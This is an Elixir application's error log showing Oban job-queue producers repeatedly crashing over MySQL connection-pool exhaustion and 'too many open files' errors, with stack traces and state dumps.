    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:58:28.238995Z], limit: 10, uuid: "6bb3cd4c-2b11-4ba6-8825-6c501ece5972", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:28.239001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247395>, refresh_timer: #Reference<0.2525715032.1077411843.227387>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:58:28.238583Z], limit: 5, uuid: "9575972d-f498-4906-aabc-4dbabcea79fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:28.238590Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247396>, refresh_timer: #Reference<0.2525715032.1077411843.227386>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:41.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:41.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:42.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:46.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:49.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:51.741000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:58:40.241817Z], limit: 5, uuid: "2f895af7-4148-4b46-8ba2-17853b65ff18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:40.241823Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247716>, refresh_timer: #Reference<0.2525715032.1099169794.255586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:52.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:58:40.238519Z], limit: 5, uuid: "265c2ccd-6f5b-4638-a25f-7aafee8819c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:40.238529Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247714>, refresh_timer: #Reference<0.2525715032.1068236804.247631>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:52.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:58:40.241324Z], limit: 50, uuid: "d798cc46-b6ad-4f18-9d63-dd219f9bd026", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:40.241330Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247715>, refresh_timer: #Reference<0.2525715032.1068236804.247704>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:58:40.241017Z], limit: 3, uuid: "2e808d75-5afb-43a1-8206-92374da962aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:40.241023Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247717>, refresh_timer: #Reference<0.2525715032.1077411843.227600>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:58:40.241101Z], limit: 10, uuid: "1feed359-2676-4024-b58b-5f5b3e6dc74e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:40.241108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247713>, refresh_timer: #Reference<0.2525715032.1068236804.247693>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:52.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:58:40.238767Z], limit: 20, uuid: "d0bf765e-b18c-4694-8c68-cd7d175f3f65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:40.238773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.247712>, refresh_timer: #Reference<0.2525715032.1068236804.247656>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:53.268000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:54.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:58.138000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:59.861000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:02.364000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:02.618000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:03.571000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:04.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
